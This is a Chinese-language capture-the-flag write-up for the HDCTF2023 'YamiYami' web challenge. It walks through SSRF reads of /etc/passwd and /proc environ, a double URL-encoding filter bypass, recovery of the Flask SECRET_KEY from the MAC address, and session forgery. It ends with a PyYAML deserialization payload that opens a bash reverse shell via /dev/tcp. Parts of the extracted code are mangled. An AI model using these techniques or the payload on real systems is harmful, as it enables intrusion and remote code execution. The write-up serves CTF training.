本文最后更新于:2023年8月25日 下午
                  
                
              
            
            
              
                
                YamiYami 进入题目:
当我们点击 Read somethings时:
1 http:// node2.anna.nssctf.cn:28523 /read?url=https:/ /baidu.com 
我们发现可以读取到百度首页的内容,这是SSRF (突然忘记了)
python中我们可以使用 file伪协议读取文件内容
我们尝试一下读取 /etc/passwd
成功读取
非预期解:(直接读取环境变量)
如果读取当前进程的环境变量是读取不到的:
Linux-Proc目录的利用 
预期解:
我们进去发现了三个路由,但是第一个read路由可以读取指定url的内容,易知这是SSRF
我们点击 pwd,显示 /app,说明此时文件在/app目录下面
由于这是python写的题,我们很容易猜到文件名是 app.py
于是我们想要使用file协议去读取 /app/app.py文件
结果app被过滤了
这里我们可以将 app字段两次url编码绕过 
获得源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 import  osimport  re, random, uuidfrom  flask import  *from  werkzeug.utils import  *import  yamlfrom  urllib.request import  urlopen'SECRET_KEY' ] = str (random.random()*233 )False "yaml" ,"YAML" ,"YML" ,"yml" ,"yamiyami" ]'UPLOAD_FOLDER' ]="/app/uploads" @app.route('/'  def  index ():'passport' ] = 'YamiYami' return  '''     Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>     <br>     Here is the challenge <a href="/upload">Upload file</a>     <br>     Enjoy it <a href="/pwd">pwd</a>     ''' @app.route('/pwd'  def  pwd ():return  str (pwdpath)@app.route('/read'  def  read ():try :'url' )'app.*' , url, re.IGNORECASE)'flag' , url, re.IGNORECASE)if  m:return  "re.findall('app.*', url, re.IGNORECASE)" if  n:return  "re.findall('flag', url, re.IGNORECASE)" return  res.read()except  Exception as  ex:print (str (ex))return  'no response' def  allowed_file (filename ):for  blackstr in  BLACK_LIST:if  blackstr in  filename:return  False return  True @app.route('/upload' , methods=['GET' , 'POST' ] def  upload_file ():if  request.method == 'POST' :if  'file'  not  in  request.files:'No file part' )return  redirect(request.url)'file' ]if  file.filename == '' :return  "Empty file" if  file and  allowed_file(file.filename):if  not  os.path.exists('./uploads/' ):'./uploads/' )'UPLOAD_FOLDER' ], filename))return  "upload successfully!" return  render_template("index.html" )@app.route('/boogipop'  def  load ():if  session.get("passport" )=="Welcome To HDCTF2023" :"file" )if  not  os.path.exists(LoadedFile):return  "file not exists" with  open (LoadedFile) as  f:return  "van you see" else :return  "No Auth bro" if  __name__=='__main__' :"pwd" ).read()False ,"0.0.0.0" print (app.config['SECRET_KEY' ])
我们阅读一下read路由的源码:
1 2 3 4 5 6 7 8 9 url = request.args.get('url' )'app.*' , url, re.IGNORECASE)'flag' , url, re.IGNORECASE)if  m:return  "re.findall('app.*', url, re.IGNORECASE)" if  n:return  "re.findall('flag', url, re.IGNORECASE)" return  res.read()
我们发现获得的url会使用 urlopen()去读取指定url的内容,因此,我们可以url编码两次,第一次浏览器自动解码,然后获得被编码一次的url,这时可以绕过 re.findall()正则,urlopen()函数可以解析包含urlencode的网址,这样我们知道为什么可以两次编码绕过了
1 2 random.seed(uuid.getnode())'SECRET_KEY' ] = str (random.random()*233 )
这一段代码,random.seed()函数将会指定一个随机数种子,如果是固定值的话,会产生伪随机,每次固定位置的随机数都是一样的
uuid.getnode()函数用于获取网络接口的MAC地址。如果机器具有多个网络接口,则返回通用管理的MAC地址,而不是通过本地管理的MAC地址返回。管理的MAC地址保证是全局唯一的
 
uuid.getnode()可以用来获取网口的mac地址,因此是一个固定值,会生成伪随机,我们需要获取到mac地址
我们可以使用:
1 /sys/ class /net/ eth0/address
获取 eth0 网卡的mac地址
这是16进制的值,于是我们可以使用脚本生成 SECRET_KEY的值了:
1 2 3 4 5 6 7 import  randomimport  uuid0x0242ac025164 )print (random.random()*233 )
得到key,我们可以使用 session伪造脚本伪造session了
1 2 3 4 5 6 7 8 9 @app.route('/boogipop'  def  load ():if  session.get("passport" )=="Welcome To HDCTF2023" :"file" )if  not  os.path.exists(LoadedFile):return  "file not exists" with  open (LoadedFile) as  f:
这里主要利用 boogipop路由,yaml反序列化 
这个暂时不太会,直接放payload:
1 2 3 4 5 6 7 8 9 !!python/object /new:str tuple "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/port <&1\"')" object /new:staticmethod eval list 
我们将IP、port改为自己的,然后在服务器开启监听,上传这个文件,然后利用boogipop路由即可:
注意改一下session
在	/proc/1/environ 发现flag